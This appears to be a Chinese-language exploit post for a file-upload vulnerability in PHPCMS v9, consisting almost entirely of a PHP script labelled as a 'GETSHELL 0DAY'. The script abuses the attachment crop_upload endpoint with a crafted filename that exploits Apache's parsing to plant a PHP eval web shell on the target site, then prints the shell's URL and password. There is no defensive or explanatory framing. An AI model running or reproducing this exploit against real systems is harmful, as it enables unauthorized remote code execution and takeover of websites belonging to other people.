PHPCMS v9 文件后缀提取错误代码上传漏洞

                                                n3wF （）提供了如下测试方法：
<?php
error_reporting(E_ERROR);
set_time_limit(0);
$pass="ln";
print_r('
+---------------------------------------------------------------------------+
PHPCms V9 GETSHELL 0DAY

code by L.N.

apache 适用(利用的apache的解析漏洞)
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url path

Example:
    1.php '.$argv[0].' lanu.sinaapp.com
    2.php '.$argv[0].' lanu.sinaapp.com /phpcms
+---------------------------------------------------------------------------+
');
exit;
}

$url = $argv[1];
$path = $argv[2];
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if($ret=Create_dir($url,$path))
{
    //echo $ret;
    $pattern = "|Server:[^,]+?|U";
    preg_match_all($pattern, $ret, $matches);
    if($matches[0][0])
    {
        if(strpos($matches[0][0],'Apache') == false)
        {
            echo "\n亲！此网站不是apache的网站。\n";exit;
        }
    }
    $ret = GetShell($url,$phpshell,$path,$file);
    $pattern = "|http:\/\/[^,]+?\.,?|U";
    preg_match_all($pattern, $ret, $matches);
    if($matches[0][0])
    {
        echo "\n".'密码为: '.$pass."\n";
        echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
    }
    else
    {    
        $pattern = "|\/uploadfile\/[^,]+?\.,?|U";
        preg_match_all($pattern, $ret, $matches);
        if($matches[0][0])
        {
            echo "\n".'密码为: '.$pass."\n";
            echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
        }
        else
        {
            echo "\r\n没得到！\n";exit;
        }        
    }
}

function GetShell($url,$shell,$path,$js)
{
    $content =$shell;
    $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
    $data .= "Host: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Connection: close\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($url,80);
    if (!$ock)
    {
        echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
    }
    else
    {
        fwrite($ock,$data);
        $resp = '';
        while (!feof($ock))
        {
            $resp.=fread($ock, 1024);
        }
        return $resp;
    }
}

function Create_dir($url,$path='')
{
    $content ='I love you';
    $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
    $data .= "Host: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Connection: close\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($url,80);
    if (!$ock)
    {
        echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
    }
    fwrite($ock,$data);
    $resp = '';
    while (!feof($ock))
    {
        $resp.=fread($ock, 1024);
    }
    return $resp;
}
?>